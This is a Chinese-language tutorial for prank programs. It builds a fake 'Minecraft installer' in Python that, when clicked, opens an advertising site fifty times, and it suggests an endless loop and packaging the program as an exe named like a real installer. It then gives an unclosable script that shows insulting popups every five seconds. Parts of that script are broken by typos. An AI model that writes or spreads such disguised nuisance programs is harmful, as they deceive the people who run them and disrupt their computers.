在用电脑下载软件时,都会用到安装程序,那么我们就可以利用这一点来编写我们的恶搞程序
首先,我们先用tkinter来编写一个简单的安装程序界面(以Minecraft为例):
import tkinter as tk
from tkinter import messagebox
import tkinter.messagebox
import webbrowser
answer="no"
root_window =tk.Tk()
root_window.title("Minecraft安装向导")
root_window.geometry("400x300")
root_window["background"]="#C9C9C9"
text=tk.Label(root_window,text="welcome to MINECRAFT!",fg="black",font=('Times','25'))
text.pack()
运行结果:
然后我们再增加一些按钮和图标:
import tkinter as tk
from tkinter import messagebox
import tkinter.messagebox
answer="no"
root_window =tk.Tk()
root_window.title("Minecraft安装向导")
root_window.geometry("400x300")
root_window.iconbitmap("icopic.ico")
root_window["background"]="#C9C9C9"
text=tk.Label(root_window,text="welcome to MINECRAFT!",fg="black",font=('Times','25'))
text.pack()
def click_button():
# 使用消息对话框控件,showinfo()表示温馨提示
tkinter.messagebox.showinfo(title='温馨提示', message='想得美')
# 点击按钮时执行的函数
button = tk.Button(root_window,text='开始安装',bg='#7CCD7C',width=8, height=1,command=click_button).pack()
root_window.mainloop()
结果:
接下来,就是邪恶事业的开端了,虽然这个程序无法真正安装我的世界,但我们可以帮他打开安装网站,让他自行安装。
打开网站的程序:
import webbrowser
for x in range(50):#打开网页的个数
webbrowser.open('http://dbrg.tianjimedia.com/sem/childbd/f527.html?sfrom=206&TFT=2&DTS=1&keyID=70193&bd_vid=10492788977809859329')#网址
如果你够狠,可以把'for x in range(50)'换成'while True',会给对方造成致命伤害
最后就是打包了,具体方法可以看这篇文章的最后部分:
python恶搞代码1:“随机弹窗+警告窗口+关机“大杂烩
要特别说明的一点是,在用pyinstaller打包成exe文件后,要把ico图标放在与exe同一文件夹中,否则会报错,把exe文件命名成xxx安装向导,效果更佳!
源码:
import tkinter as tk
from tkinter import*
from tkinter import messagebox
import tkinter.messagebox
import webbrowser
answer="no"
root_window =tk.Tk()
root_window.title("Minecraft安装向导")
root_window.geometry("400x300")
root_window.iconbitmap("icopic.ico")
root_window["background"]="#C9C9C9"
text=tk.Label(root_window,text="welcome to MINECRAFT!",fg="black",font=('Times','25'))
text.pack()
def click_button():
# 使用消息对话框控件,showinfo()表示温馨提示
tkinter.messagebox.showinfo(title='温馨提示', message='想得美')
for x in range(50):
webbrowser.open('http://dbrg.tianjimedia.com/sem/childbd/f527.html?sfrom=206&TFT=2&DTS=1&keyID=70193&bd_vid=10492788977809859329')
# 点击按钮时执行的函数
button = tk.Button(root_window,text='开始安装',bg='#7CCD7C',width=8, height=1,command=click_button).pack()
root_window.mainloop()
用到的图片:(png格式)
转换ico可以到这个网址:ICO转换器 — Convertio,别忘了命名为icopic.ico
下面直接出示代码:
import tkinter.messagebox
import random
import time
words_1=['你是一个','哈哈哈哈哈哈哈哈哈哈哈哈']
words_2=['傻狍子','善良的人','SB','傻子','猪']
while True:
ch_word1=wordS_1[random.randint(0,1)]
if ch_word1==words_1[1]:
tkinter.messagebox.showinfo('info',ch_word1)
time.sleep(5)#等待的时间
else:
ch_word2=word_2[random.randint(0,4)]
end=ch_word1+ch_word2
tkinter.messagebox.showinfo('info',end)
time.sleep(5)
这个程序的特点是如果打包成exe或pyw文件后无法关闭,每隔5秒就会出现随机信息的弹窗,这里我写的随机信息不多,大家可以自由扩展。